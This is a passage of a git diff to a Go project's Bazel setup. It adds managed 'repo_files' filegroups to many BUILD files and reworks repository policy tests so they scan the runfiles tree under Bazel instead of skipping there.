a/internal/uimd/BUILD.bazel b/internal/uimd/BUILD.bazel index b6bb87ea5..756358b1c 100644 --- a/internal/uimd/BUILD.bazel +++ b/internal/uimd/BUILD.bazel @@ -23,3 +23,25 @@ go_test( "@land_charm_glamour_v2//styles", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel index 97d1a0e58..be3234d57 100644 --- a/internal/utils/BUILD.bazel +++ b/internal/utils/BUILD.bazel @@ -49,3 +49,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/validation/BUILD.bazel b/internal/validation/BUILD.bazel index 46bf8895d..53e2232aa 100644 --- a/internal/validation/BUILD.bazel +++ b/internal/validation/BUILD.bazel @@ -30,3 +30,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/versioncheck/BUILD.bazel b/internal/versioncheck/BUILD.bazel index b439bcb54..ffa55c8ad 100644 --- a/internal/versioncheck/BUILD.bazel +++ b/internal/versioncheck/BUILD.bazel @@ -18,3 +18,25 @@ go_test( embed = [":versioncheck"], deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/versioncheck/check_test.go b/internal/versioncheck/check_test.go index 71c4564ba..29da1ace4 100644 --- a/internal/versioncheck/check_test.go +++ b/internal/versioncheck/check_test.go @@ -12,7 +12,7 @@ import ( func TestRepositoryReleaseVersionsMatch(t *testing.T) { root := bazeltest.RepoRoot(t) report, err := Check(root) - if err != nil && !(bazeltest.IsBazel() && onlyNPMManifestUndeclared(t, root, report)) { + if err != nil { t.Fatalf("repository release metadata is inconsistent: %v", err) } if report.CheckedSources != 12 { @@ -623,28 +623,3 @@ func writeFixtureAt(t *testing.T, root, version string) { func stringPointer(value string) *string { return &value } - -// onlyNPMManifestUndeclared reports, and logs, whether the npm manifest is the -// one failing release surface and it failed because it is absent. npm-package/ -// is in .bazelignore, so no target can declare npm-package/package.json as data -// and a Bazel run never sees it; `go test` checks it against the real checkout. -func onlyNPMManifestUndeclared(t *testing.T, root string, report Report) bool { - t.Helper() - if _, err := os.Stat(filepath.Join(root, "npm-package", "package.json")); !os.IsNotExist(err) { - return false - } - npmMissing := false - for _, source := range report.Sources { - switch { - case source.Problem == "": - case source.Description == "npm package.json": - npmMissing = true - default: - return false - } - } - if npmMissing { - t.Log("npm-package/ is in .bazelignore, so npm-package/package.json cannot be declared as data; checked under go test") - } - return npmMissing -} diff --git a/internal/workapi/BUILD.bazel b/internal/workapi/BUILD.bazel index 162b4258d..ff896671c 100644 --- a/internal/workapi/BUILD.bazel +++ b/internal/workapi/BUILD.bazel @@ -73,3 +73,25 @@ go_test( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storecounter/BUILD.bazel b/internal/workapi/storecounter/BUILD.bazel index e200739bd..04b67721e 100644 --- a/internal/workapi/storecounter/BUILD.bazel +++ b/internal/workapi/storecounter/BUILD.bazel @@ -12,3 +12,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storequerier/BUILD.bazel b/internal/workapi/storequerier/BUILD.bazel index 72cb226c6..a8d2e6149 100644 --- a/internal/workapi/storequerier/BUILD.bazel +++ b/internal/workapi/storequerier/BUILD.bazel @@ -11,3 +11,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storereader/BUILD.bazel b/internal/workapi/storereader/BUILD.bazel index 16a5105dc..84e40c33e 100644 --- a/internal/workapi/storereader/BUILD.bazel +++ b/internal/workapi/storereader/BUILD.bazel @@ -23,3 +23,25 @@ go_test( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storereadycounter/BUILD.bazel b/internal/workapi/storereadycounter/BUILD.bazel index 8ab96877b..6cde32faf 100644 --- a/internal/workapi/storereadycounter/BUILD.bazel +++ b/internal/workapi/storereadycounter/BUILD.bazel @@ -11,3 +11,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storestats/BUILD.bazel b/internal/workapi/storestats/BUILD.bazel index f29b27789..7b009776b 100644 --- a/internal/workapi/storestats/BUILD.bazel +++ b/internal/workapi/storestats/BUILD.bazel @@ -12,3 +12,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storeversionreconciler/BUILD.bazel b/internal/workapi/storeversionreconciler/BUILD.bazel index 7d5b03eec..db79c94b7 100644 --- a/internal/workapi/storeversionreconciler/BUILD.bazel +++ b/internal/workapi/storeversionreconciler/BUILD.bazel @@ -11,3 +11,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workapi/storeworkspaceconfig/BUILD.bazel b/internal/workapi/storeworkspaceconfig/BUILD.bazel index 33fe08f81..c65c1f592 100644 --- a/internal/workapi/storeworkspaceconfig/BUILD.bazel +++ b/internal/workapi/storeworkspaceconfig/BUILD.bazel @@ -11,3 +11,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/workspacegate/BUILD.bazel b/internal/workspacegate/BUILD.bazel index 530171afb..db9bf9acf 100644 --- a/internal/workspacegate/BUILD.bazel +++ b/internal/workspacegate/BUILD.bazel @@ -14,3 +14,25 @@ go_test( embed = [":workspacegate"], deps = ["//internal/testutil/bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/worktreeremove/BUILD.bazel b/internal/worktreeremove/BUILD.bazel index ea9020fcb..97c70cf13 100644 --- a/internal/worktreeremove/BUILD.bazel +++ b/internal/worktreeremove/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["policy_test.go"], embed = [":worktreeremove"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index 3e26c2f1a..1878a4e17 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -68,3 +68,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/journalops/BUILD.bazel b/journalops/BUILD.bazel index 47588b368..e42f82468 100644 --- a/journalops/BUILD.bazel +++ b/journalops/BUILD.bazel @@ -23,3 +23,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/memoryops/BUILD.bazel b/memoryops/BUILD.bazel index f4d5c924c..be45b9fa1 100644 --- a/memoryops/BUILD.bazel +++ b/memoryops/BUILD.bazel @@ -24,3 +24,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/plugins/beads/BUILD.bazel b/plugins/beads/BUILD.bazel index 152264079..618b55c28 100644 --- a/plugins/beads/BUILD.bazel +++ b/plugins/beads/BUILD.bazel @@ -31,3 +31,25 @@ exports_files( ], visibility = ["//:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/schema/BUILD.bazel b/schema/BUILD.bazel index c2de6036f..08eae5b47 100644 --- a/schema/BUILD.bazel +++ b/schema/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["schema_test.go"], deps = [":schema"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index a7be32561..4f4b2e617 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -1,19 +1,16 @@ load("@rules_go//go:def.bzl", "go_test") -# CI and repo-policy tests: they parse the workflows and run the CI shell -# scripts against fixtures. +# CI and repo-policy tests: they parse the workflows, run the CI shell scripts +# against fixtures, and check repository-wide rules (BUILD tag taxonomy, skip +# allowlist, managed BUILD blocks, shard manifests, tracked-file scans) over +# //:repo_files, the checkout as Bazel sees it. # -# Tags: -# host-tools: the scripts and fixtures run the host's git, python3, awk, -# sed, find, grep and timeout (beyond the bash the test wrapper needs). -# Under Bazel a missing git or bash fails the test (under go test it -# skips). -# no-remote-exec: so they always run where that inventory is known (the -# developer machine or the CI runner). The farm workers do have these -# tools today (the target passes there), so this can be dropped once that -# is guaranteed. -# no-remote-cache: the action key does not cover the host's tools, so a -# result from one host is neither uploaded for nor served to another. +# No tags: they run remotely like any other target. The scripts and fixtures +# run bash, git, python3, jq, yq, curl, openssl, unzip and coreutils from the +# executor (the rbe-west worker image, or the runner in fork-cache mode); a +# missing tool fails the test under Bazel instead of skipping it +# (host_tools_test.go), so a cached pass never stands for an executor that +# could not run it. Go and the release formula come in hermetically. go_test( name = "scripts_test", srcs = [ @@ -53,22 +50,18 @@ go_test( "windows_test_binaries_manifest_test.go", ], data = [ - ":scripts_files", - "//:.githooks/pre-commit", - "//:.goreleaser.yml", - "//:bazel_policy_files", - "//:engdocs/LINTING.md", - "//:mcp_package_policy_files", - "//:test_sh_files", - "//:workflow_files", - "//internal/testutil:testdoltcommon.go", - "//tools/bazel:dolt.bzl", - ], - tags = [ - "host-tools", - "no-remote-cache", - "no-remote-exec", + "//:repo_files", + "@beads_formulas//:beads-release.formula.toml", + "@go_sdk//:bin/go", + "@go_sdk//:files", ], + # The release formula lives in .beads/ (in .bazelignore: it also holds + # live bd data), so it comes in through its own local repository. The Go + # SDK is go.mod's toolchain, whatever go the executor has on PATH. + env = { + "BEADS_TEST_GO": "$(rlocationpath @go_sdk//:bin/go)", + "BEADS_TEST_RELEASE_FORMULA": "$(rlocationpath @beads_formulas//:beads-release.formula.toml)", + }, deps = [ "//internal/formula", "//internal/testutil/bazeltest", @@ -77,20 +70,6 @@ go_test( ], ) -# The scripts scripts_test reads and runs (CI helpers, check-*.sh, release.sh, -# test.sh, conformance.sh, ...). Globs stop at subpackages, so this is only -# this package's own tree. -filegroup( - name = "scripts_files", - srcs = glob( - ["**"], - exclude = [ - "BUILD.bazel", - "**/*_test.go", - ], - ), -) - exports_files( ["migration-test/release-catalog.json"], visibility = ["//scripts/migration-test/catalog:__pkg__"], @@ -105,11 +84,6 @@ exports_files( visibility = ["//scripts/prlintmake:__pkg__"], ) -exports_files( - ["README.md"], - visibility = ["//:__pkg__"], -) - exports_files( ["ci/gofmt-bin.sh"], visibility = ["//scripts/prlintmake:__pkg__"], @@ -121,3 +95,25 @@ exports_files( ["check-versions.sh"], visibility = ["//scripts/check-versions:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index f4eb0b6d4..adb795b6d 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -11,6 +11,8 @@ import ( "strconv" "strings" "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // Policy tests for the side-by-side Bazel configuration. They are plain Go @@ -443,6 +445,68 @@ func gitRepoAvailable(root string) bool { return exec.Command("git", "-C", root, "rev-parse", "--is-inside-work-tree").Run() == nil } +// repoFiles lists the repository's tracked files under root, repo-relative and +// slash-separated, each a regular file (or, in a local runfiles tree, a +// symlink to one). Under `go test` in a git checkout that is `git ls-files` +// less what the working tree no longer holds; under Bazel it is the runfiles +// tree, whose repository part is //:repo_files (every tracked file outside +// .bazelignore, tools/bazel/go_srcs.py); elsewhere every file under root. +func repoFiles(t *testing.T, root string) []string { + t.Helper() + var files []string + if bazeltest.IsBazel() || !gitRepoAvailable(root) { + err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() || !isFileOrFileLink(path, d) { + return nil + } + rel, err := filepath.Rel(root, path) + if err != nil { + return err + } + files = append(files, filepath.ToSlash(rel)) + return nil + }) + if err != nil { + t.Fatalf("walk %s: %v", root, err) + } + } else { + out, err := exec.Command("git", "-C", root, "ls-files", "-z").Output() + if err != nil { + t.Fatalf("git ls-files: %v", err) + } + for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { + info, err := os.Lstat(filepath.Join(root, filepath.FromSlash(rel))) + if err != nil || !info.Mode().IsRegular() { + continue // deleted in the worktree, submodule, or symlink + } + files = append(files, rel) + } + } + // Sanity: an empty or partial runfiles tree would pass every scan. + if len(files) < 1000 { + t.Fatalf("found only %d repository files under %s; the listing is broken", len(files), root) + } + return files +} + +// isFileOrFileLink reports whether a WalkDir entry is a regular file or a +// symlink to one. Bazel's local runfiles trees are symlink forests, so a walk +// that skipped symlinks would see no file there; a symlink to a directory +// (Bazel's bazel-* convenience links in a checkout) is never followed. +func isFileOrFileLink(path string, d os.DirEntry) bool { + if d.Type().IsRegular() { + return true + } + if d.Type()&os.ModeSymlink == 0 { + return false + } + info, err := os.Stat(path) + return err == nil && info.Mode().IsRegular() +} + func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { // Fixtures are assembled at runtime so this file never contains a literal // endpoint itself. @@ -554,23 +618,12 @@ func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { } root := bazelPolicyRoot(t) - if !gitRepoAvailable(root) { - t.Skip("not a git checkout (e.g. Bazel sandbox); tracked-file scan runs under go test and CI") - } - out, err := exec.Command("git", "-C", root, "ls-files", "-z", "--", "*bazelrc*", "*.md", ".github").Output() - if err != nil { - t.Fatalf("git ls-files: %v", err) - } var hits []endpointHit - for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { + for _, rel := range repoFiles(t, root) { scan, strict := remoteScanKind(rel) if !scan { continue } - info, err := os.Lstat(filepath.Join(root, rel)) - if err != nil || !info.Mode().IsRegular() { - continue // deleted in the worktree, submodule, or symlink - } content, err := os.ReadFile(filepath.Join(root, rel)) if err != nil { t.Fatalf("read %s: %v", rel, err) @@ -589,27 +642,28 @@ func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { // this file does not match itself. func TestNoLocalPlanPathsInTrackedFiles(t *testing.T) { root := bazelPolicyRoot(t) - if !gitRepoAvailable(root) { - t.Skip("not a git checkout (e.g. Bazel sandbox); tracked-file scan runs under go test and CI") - } - needle := "beads-" + "bazel-plan" - out, err := exec.Command("git", "-C", root, "grep", "-n", "-I", "-F", "-e", needle).Output() - if err != nil { - var exitErr *exec.ExitError - if errors.As(err, &exitErr) && exitErr.ExitCode() == 1 { - return // no matches + needle := []byte("beads-" + "bazel-plan") + for _, rel := range repoFiles(t, root) { + content, err := os.ReadFile(filepath.Join(root, filepath.FromSlash(rel))) + if err != nil { + t.Fatalf("read %s: %v", rel, err) + } + if bytes.IndexByte(content, 0) >= 0 { + continue // binary, as git grep -I + } + for n, line := range bytes.Split(content, []byte("\n")) { + if bytes.Contains(line, needle) { + t.Errorf("%s:%d: tracked file references a local, non-repo %s path; point at an in-repo doc, bead or PR instead", rel, n+1, needle) + } } - t.Fatalf("git grep: %v", err) - } - for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") { - t.Errorf("%s: tracked file references a local, non-repo %s path; point at an in-repo doc, bead or PR instead", line, needle) } } // --- generated go_srcs filegroups are current ------------------------------- -// These checks walk the source checkout, which is not declared as Bazel data, -// so they run under plain `go test` (the gating lane) and skip under Bazel. +// These checks walk the source checkout: under Bazel, //:repo_files, which +// holds every package's BUILD.bazel (a package missing its repo_files block +// is what `make bazel-sync-check` fails on). var ( treeGoSrcsRe = regexp.MustCompile(`(?s)filegroup\(\s*name\s*=\s*"tree_go_srcs",\s*srcs\s*=\s*\[(.*?)\]`) @@ -682,8 +736,8 @@ func diffStringSets(want, got []string) (missing, extra []string) { } // goSrcsTrees are the tools/bazel/go_srcs.py TREES roots. A test that walks -// one of these trees under Bazel sees only the packages its tree_go_srcs -// lists, so an unlisted package makes the walk pass vacuously. +// one of these trees through its tree_go_srcs sees only the packages listed +// there, so an unlisted package makes that walk pass vacuously. var goSrcsTrees = []string{"internal/storage"} func TestBazelTreeGoSrcsListsEveryPackage(t *testing.T) { @@ -695,9 +749,6 @@ func TestBazelTreeGoSrcsListsEveryPackage(t *testing.T) { t.Errorf("diffStringSets fixture: missing=%v extra=%v", missing, extra) } - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("walks the source checkout; runs under go test") - } root := sourceRepoRoot(t) script := readPolicyFile(t, root, "tools/bazel/go_srcs.py") for _, tree := range goSrcsTrees { @@ -729,13 +780,7 @@ func TestBazelTreeGoSrcsListsEveryPackage(t *testing.T) { // TestBazelGoSrcsBlocksCurrent runs `tools/bazel/go_srcs.py --check`, which // compares every managed block with what the script would generate. func TestBazelGoSrcsBlocksCurrent(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("reads the source checkout; runs under go test") - } - python, err := exec.LookPath("python3") - if err != nil { - t.Skip("python3 not available; TestBazelTreeGoSrcsListsEveryPackage still guards tree membership") - } + python := requireHostTool(t, "python3") cmd := exec.Command(python, filepath.Join("tools", "bazel", "go_srcs.py"), "--check") cmd.Dir = sourceRepoRoot(t) if out, err := cmd.CombinedOutput(); err != nil { @@ -745,13 +790,11 @@ func TestBazelGoSrcsBlocksCurrent(t *testing.T) { // --- no Bazel packages under the docs trees --------------------------------- -// //:docsync_files globs docs/** and engdocs/**; a glob stops at a package -// boundary, so a BUILD file under either tree would silently drop that -// subtree from //test/docsync's orphan and link checks. +// docs/ and engdocs/ are content (the Mintlify site and the engineering docs) +// that the root package's repo_files glob covers; they hold no code, so a +// BUILD file under either tree is a mistake (it would also split the subtree +// into a package of its own). func TestBazelNoPackagesUnderDocsTrees(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("walks the source checkout; runs under go test") - } root := sourceRepoRoot(t) for _, tree := range []string{"docs", "engdocs"} { err := filepath.WalkDir(filepath.Join(root, tree), func(path string, d os.DirEntry, err error) error { @@ -763,7 +806,7 @@ func TestBazelNoPackagesUnderDocsTrees(t *testing.T) { } if !d.IsDir() && (d.Name() == "BUILD.bazel" || d.Name() == "BUILD") { rel, _ := filepath.Rel(root, path) - t.Errorf("%s: no Bazel package may live under %s/ (it would cut that subtree out of //:docsync_files)", filepath.ToSlash(rel), tree) + t.Errorf("%s: no Bazel package may live under %s/ (docs trees are content, not code)", filepath.ToSlash(rel), tree) } return nil }) @@ -960,9 +1003,6 @@ func TestBazelTestTagsFollowTaxonomy(t *testing.T) { } } - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("walks every BUILD file in the source checkout; runs under go test") - } root := sourceRepoRoot(t) pkgs, err := bazelPackagesUnder(root, ".") if err != nil { diff --git a/scripts/bazel_skip_allowlist_test.go b/scripts/bazel_skip_allowlist_test.go index d87d4a126..b90d6c19f 100644 --- a/scripts/bazel_skip_allowlist_test.go +++ b/scripts/bazel_skip_allowlist_test.go @@ -16,48 +16,38 @@ import ( // Every Go test that deliberately skips itself under Bazel (a t.Skip guarded // by TEST_SRCDIR or bazeltest.IsBazel(), directly or through a helper it -// calls) has a `skip` entry in tools/bazel/equivalence_allowlist.txt. +// calls) has a `skip` entry in tools/bazel/equivalence_allowlist.txt, and no +// test runs part of its checks under go test only. // // The PR run of the Bazel lane cannot tell a test that skips under Bazel from // one that runs: only nightly.yml's skip-parity check (equivalence.py // --go-test-json) can, after the merge, and a missing entry turns that // nightly red (as TestBazelGatedLanesNeverRetryFlakyTests and -// TestCheckShardCoverageScript did on 2026-10-02). The entries are also what -// keeps those tests running under go test where the Bazel lane replaces a -// go test job. This check finds them before the merge, from the source. +// TestCheckShardCoverageScript did on 2026-10-02). Bazel is where the Go +// tests run on every PR, so a go-test-only check (a Bazel-guarded return or +// continue, or a block guarded by TEST_SRCDIR == "" / !IsBazel()) would run +// nowhere: declare what it reads as data instead (//:repo_files holds the +// whole checkout). This check finds them before the merge, from the source. // // Only top-level tests are considered: a subtest's skip is invisible to // equivalence.py, which compares top-level tests. func TestBazelOnlySkipsAreAllowlisted(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("walks every _test.go file in the source checkout; runs under go test") - } root := sourceRepoRoot(t) entries := readSkipAllowlist(t, filepath.Join(root, "tools", "bazel", "equivalence_allowlist.txt")) - found, err := bazelSkippingTests(root) + found, files, err := bazelSkippingTests(root) if err != nil { t.Fatal(err) } - if len(found) < 16 { - t.Fatalf("found only %d Bazel-skipping tests (%v); the scan is broken", len(found), found) + // Under Bazel the tree is //:repo_files; a scan that parsed few files is + // not looking at it. + if files < 1000 { + t.Fatalf("parsed only %d _test.go files; the scan is broken", files) } - partial := 0 - defer func() { - if partial < 5 { - t.Errorf("found only %d tests with a go-test-only part; the scan is broken", partial) - } - }() for _, f := range found { if f.partial { - // D2 step 3: under go test, only ./scripts/... still runs on every - // PR (pr.yml's scripts-go-checks job), so a Test that runs part - // of its checks under go test only must live there. - partial++ - if f.pkg != "scripts" && !strings.HasPrefix(f.pkg, "scripts/") { - t.Errorf("%s %s runs part of its checks under go test only (%s); outside ./scripts/... nothing runs that part on every PR: move the check to ./scripts or make the test t.Skip under Bazel and allowlist it", - f.pkg, f.test, f.where) - } + t.Errorf("%s %s runs part of its checks under go test only (%s); nothing runs that part on every PR: declare its inputs as Bazel data (//:repo_files) and drop the guard", + f.pkg, f.test, f.where) continue } if !skipAllowlisted(entries, f.pkg, f.test) { @@ -185,7 +175,10 @@ FUNC TestScriptsPartial(t *testing.T) { write("sub/go.mod", "module example.com/sub\n") write("sub/s_test.go", "package s\nimport \"testing\"\nfunc TestOtherModule(t *testing.T) { if bazeltest.IsBazel() { t.Skip() } }\n") - found, err := bazelSkippingTests(dir) + found, files, err := bazelSkippingTests(dir) + if files != 2 { + t.Errorf("scan parsed %d files, want 2 (a/a_test.go, scripts/s_test.go)", files) + } if err != nil { t.Fatal(err) } @@ -257,8 +250,10 @@ var bazelGuardTestFunc = regexp.MustCompile(`^Test([^a-z].*)?$`) // bazelSkippingTests parses every _test.go file of the module rooted at // root (not nested modules, node_modules, .git, .beads or bazel-* output -// trees) and returns the top-level tests that skip under Bazel. -func bazelSkippingTests(root string) ([]bazelSkip, error) { +// trees) and returns the top-level tests that skip under Bazel and the +// number of files it parsed. +func bazelSkippingTests(root string) ([]bazelSkip, int, error) { + parsed := 0 byDir := map[string][]*ast.File{} fset := token.NewFileSet() err := filepath.WalkDir(root, func(p string, d os.DirEntry, err error) error { @@ -277,18 +272,19 @@ func bazelSkippingTests(root string) ([]bazelSkip, error) { } return nil } - if !strings.HasSuffix(p, "_test.go") || d.Type()&os.ModeSymlink != 0 { + if !strings.HasSuffix(p, "_test.go") || !isFileOrFileLink(p, d) { return nil } f, err := parser.ParseFile(fset, p, nil, 0) if err != nil { return err } + parsed++ byDir[filepath.Dir(p)] = append(byDir[filepath.Dir(p)], f) return nil }) if err != nil { - return nil, err + return nil, parsed, err } var out []bazelSkip for dir, files := range byDir { @@ -325,7 +321,7 @@ func bazelSkippingTests(root string) ([]bazelSkip, error) { } } sort.Slice(out, func(i, j int) bool { return out[i].pkg+" "+out[i].test < out[j].pkg+" "+out[j].test }) - return out, nil + return out, parsed, nil } // goTestOnlyPart: the first if statement (outside closures) that ends a diff --git 